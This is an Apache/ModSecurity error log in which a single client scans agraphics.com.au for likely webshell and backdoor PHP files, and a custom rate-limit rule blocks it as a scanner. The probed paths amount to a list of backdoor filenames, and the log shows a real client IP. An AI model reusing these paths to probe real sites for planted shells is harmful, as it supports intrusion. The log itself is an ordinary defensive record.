[Wed Apr 15 01:04:02.101872 2026] [:error] [pid 62297:tid 62357] [client 20.240.133.195:33660] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "ad5zgqvogcWlrafOEaG8iQAAAQM"]
[Wed Apr 15 01:04:02.653718 2026] [:error] [pid 62297:tid 62358] [client 20.240.133.195:29065] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "ad5zgqvogcWlrafOEaG8jQAAAQQ"]
[Wed Apr 15 01:04:03.189817 2026] [:error] [pid 62296:tid 62349] [client 20.240.133.195:41864] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ol.php"] [unique_id "ad5zg8TNd04nWM2DK4SCGgAAAFY"]
[Wed Apr 15 01:04:03.759785 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:6355] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "ad5zg6vogcWlrafOEaG8lAAAARA"]
[Wed Apr 15 01:04:04.320039 2026] [:error] [pid 17804:tid 17813] [client 20.240.133.195:6383] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "ad5zhAAZKYxfpamecKd8ZwAAAMM"]
[Wed Apr 15 01:04:04.850465 2026] [:error] [pid 62432:tid 62459] [client 20.240.133.195:33606] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "ad5zhLPtNET7V_vfTPfPPQAAAVg"]
[Wed Apr 15 01:04:05.376486 2026] [:error] [pid 17734:tid 17760] [client 20.240.133.195:36817] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "ad5zhdN3xsztF3DFLWz7gwAAAJU"]
[Wed Apr 15 01:04:05.910859 2026] [:error] [pid 62432:tid 62446] [client 20.240.133.195:58349] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ad5zhbPtNET7V_vfTPfPSgAAAUs"]
[Wed Apr 15 01:04:06.434888 2026] [:error] [pid 17734:tid 17758] [client 20.240.133.195:6346] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ad5zhtN3xsztF3DFLWz7kQAAAJM"]
[Wed Apr 15 01:04:06.984122 2026] [:error] [pid 17734:tid 17741] [client 20.240.133.195:36831] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ad5zhtN3xsztF3DFLWz7lQAAAII"]
[Wed Apr 15 01:04:07.544950 2026] [:error] [pid 17734:tid 17746] [client 20.240.133.195:44415] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "ad5zh9N3xsztF3DFLWz7ngAAAIc"]
[Wed Apr 15 01:04:08.103913 2026] [:error] [pid 17734:tid 17755] [client 20.240.133.195:6359] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "ad5ziNN3xsztF3DFLWz7qAAAAJA"]
[Wed Apr 15 01:04:08.649310 2026] [:error] [pid 62432:tid 62455] [client 20.240.133.195:6378] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/style.php"] [unique_id "ad5ziLPtNET7V_vfTPfPTwAAAVQ"]
[Wed Apr 15 01:04:09.201094 2026] [proxy_fcgi:error] [pid 62296:tid 62338] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:09.465732 2026] [proxy_fcgi:error] [pid 62296:tid 62335] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:09.730323 2026] [proxy_fcgi:error] [pid 62296:tid 62332] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:10.262341 2026] [proxy_fcgi:error] [pid 62296:tid 62344] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:10.527171 2026] [proxy_fcgi:error] [pid 62296:tid 62333] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:11.952686 2026] [proxy_fcgi:error] [pid 62296:tid 62347] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:12.217167 2026] [proxy_fcgi:error] [pid 62296:tid 62327] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:13.804997 2026] [proxy_fcgi:error] [pid 62296:tid 62334] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:14.071417 2026] [proxy_fcgi:error] [pid 62296:tid 62347] [client 20.240.133.195:36855] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 01:04:14.605993 2026] [:error] [pid 62296:tid 62351] [client 20.240.133.195:36855] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5zjsTNd04nWM2DK4SCSgAAAFg"]
[Wed Apr 15 01:04:15.147980 2026] [:error] [pid 62297:tid 62361] [client 20.240.133.195:6371] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5zj6vogcWlrafOEaG8pAAAAQc"]
[Wed Apr 15 01:04:15.717535 2026] [:error] [pid 17804:tid 17817] [client 20.240.133.195:41857] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5zjwAZKYxfpamecKd8dQAAAMc"]
[Wed Apr 15 01:04:16.298480 2026] [:error] [pid 17926:tid 17952] [client 20.240.133.195:33639] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ad5zkPKxFvgDwMI04zBROQAAAdM"]
[Wed Apr 15 01:04:16.927867 2026] [:error] [pid 17734:tid 17762] [client 20.240.133.195:32352] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ad5zkNN3xsztF3DFLWz75gAAAJc"]
[Wed Apr 15 01:04:17.452538 2026] [:error] [pid 62295:tid 62306] [client 20.240.133.195:41905] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ad5zkRng-JDNFCa0BnhnyAAAAAc"]
[Wed Apr 15 01:04:17.981348 2026] [:error] [pid 17866:tid 17877] [client 20.240.133.195:29057] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ad5zkbx_17kv70EUVIlCmQAAAYk"]
[Wed Apr 15 01:04:18.507001 2026] [:error] [pid 17804:tid 17823] [client 20.240.133.195:29076] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-update.php"] [unique_id "ad5zkgAZKYxfpamecKd8eQAAAM0"]
[Wed Apr 15 01:04:19.036581 2026] [:error] [pid 62296:tid 62349] [client 20.240.133.195:63000] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ad5zk8TNd04nWM2DK4SCWAAAAFY"]
[Wed Apr 15 01:04:19.560304 2026] [:error] [pid 17804:tid 17825] [client 20.240.133.195:41908] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ad5zkwAZKYxfpamecKd8gQAAAM8"]
[Wed Apr 15 01:04:20.088622 2026] [:error] [pid 62432:tid 62443] [client 20.240.133.195:33630] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ad5zlLPtNET7V_vfTPfPYwAAAUg"]
[Wed Apr 15 01:04:20.612295 2026] [:error] [pid 17866:tid 17887] [client 20.240.133.195:33612] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sbhu.php"] [unique_id "ad5zlLx_17kv70EUVIlCpQAAAZM"]
[Wed Apr 15 01:04:21.136487 2026] [:error] [pid 62432:tid 62438] [client 20.240.133.195:44389] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ad5zlbPtNET7V_vfTPfPaQAAAUM"]
[Wed Apr 15 01:04:21.661890 2026] [:error] [pid 62297:tid 62373] [client 20.240.133.195:58358] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ad5zlavogcWlrafOEaG8vAAAARM"]
[Wed Apr 15 01:04:22.188894 2026] [:error] [pid 17734:tid 17760] [client 20.240.133.195:63000] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ad5zltN3xsztF3DFLWz8AwAAAJU"]
[Wed Apr 15 01:04:22.713919 2026] [:error] [pid 17734:tid 17753] [client 20.240.133.195:39414] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ad5zltN3xsztF3DFLWz8CQAAAI4"]
[Wed Apr 15 01:04:23.242657 2026] [:error] [pid 17804:tid 17832] [client 20.240.133.195:33618] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ad5zlwAZKYxfpamecKd8kAAAANY"]
[Wed Apr 15 01:04:23.766060 2026] [:error] [pid 62297:tid 62358] [client 20.240.133.195:29109] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ad5zl6vogcWlrafOEaG8zQAAAQQ"]
[Wed Apr 15 01:04:24.293834 2026] [:error] [pid 62297:tid 62367] [client 20.240.133.195:44373] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ad5zmKvogcWlrafOEaG80AAAAQ0"]
[Wed Apr 15 01:04:24.821835 2026] [:error] [pid 62297:tid 62368] [client 20.240.133.195:36810] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "ad5zmKvogcWlrafOEaG81QAAAQ4"]
[Wed Apr 15 01:04:25.362396 2026] [:error] [pid 62297:tid 62369] [client 20.240.133.195:29081] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zmavogcWlrafOEaG83QAAAQ8"]
[Wed Apr 15 01:04:25.890550 2026] [:error] [pid 62297:tid 62364] [client 20.240.133.195:29078] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zmavogcWlrafOEaG85QAAAQo"]
[Wed Apr 15 01:04:26.414986 2026] [:error] [pid 17804:tid 17818] [client 20.240.133.195:27855] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zmgAZKYxfpamecKd8kwAAAMg"]
[Wed Apr 15 01:04:26.939105 2026] [:error] [pid 62297:tid 62370] [client 20.240.133.195:38037] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "ad5zmqvogcWlrafOEaG88gAAARA"]
[Wed Apr 15 01:04:27.463390 2026] [:error] [pid 62432:tid 62441] [client 20.240.133.195:32374] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zm7PtNET7V_vfTPfPbwAAAUY"]
[Wed Apr 15 01:04:27.988424 2026] [:error] [pid 17804:tid 17819] [client 20.240.133.195:32349] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zmwAZKYxfpamecKd8lQAAAMk"]
[Wed Apr 15 01:04:28.512632 2026] [:error] [pid 62296:tid 62341] [client 20.240.133.195:27082] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5znMTNd04nWM2DK4SCYAAAAE4"]
[Wed Apr 15 01:04:29.037355 2026] [:error] [pid 17734:tid 17752] [client 20.240.133.195:44410] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zndN3xsztF3DFLWz8EwAAAI0"]
[Wed Apr 15 01:04:29.565135 2026] [:error] [pid 17734:tid 17753] [client 20.240.133.195:6391] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "ad5zndN3xsztF3DFLWz8FQAAAI4"]
[Wed Apr 15 01:04:30.091409 2026] [:error] [pid 17734:tid 17748] [client 20.240.133.195:29068] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "ad5zntN3xsztF3DFLWz8FwAAAIk"]
[Wed Apr 15 01:04:30.616028 2026] [:error] [pid 17734:tid 17756] [client 20.240.133.195:32376] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "ad5zntN3xsztF3DFLWz8HQAAAJE"]
[Wed Apr 15 01:04:31.140018 2026] [:error] [pid 17734:tid 17758] [client 20.240.133.195:6343] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "ad5zn9N3xsztF3DFLWz8IQAAAJM"]
[Wed Apr 15 01:04:31.665389 2026] [:error] [pid 17804:tid 17814] [client 20.240.133.195:27085] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ad5znwAZKYxfpamecKd8lwAAAMQ"]
[Wed Apr 15 01:04:32.189387 2026] [:error] [pid 17866:tid 17880] [client 20.240.133.195:36839] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ad5zoLx_17kv70EUVIlCqQAAAYw"]
[Wed Apr 15 01:04:32.716339 2026] [:error] [pid 62295:tid 62306] [client 20.240.133.195:41912] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ad5zoBng-JDNFCa0Bnhn6wAAAAc"]
[Wed Apr 15 01:04:33.244678 2026] [:error] [pid 17734:tid 17742] [client 20.240.133.195:41893] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods.php"] [unique_id "ad5zodN3xsztF3DFLWz8LQAAAIM"]
[Wed Apr 15 01:04:33.770586 2026] [:error] [pid 17926:tid 17948] [client 20.240.133.195:29056] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zofKxFvgDwMI04zBRRQAAAc8"]
[Wed Apr 15 01:04:34.294271 2026] [:error] [pid 17734:tid 17758] [client 20.240.133.195:36857] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zotN3xsztF3DFLWz8NgAAAJM"]
[Wed Apr 15 01:04:34.819495 2026] [:error] [pid 17926:tid 17950] [client 20.240.133.195:27122] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zovKxFvgDwMI04zBRRwAAAdE"]
[Wed Apr 15 01:04:35.343602 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:39401] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "ad5zo9N3xsztF3DFLWz8OwAAAIE"]
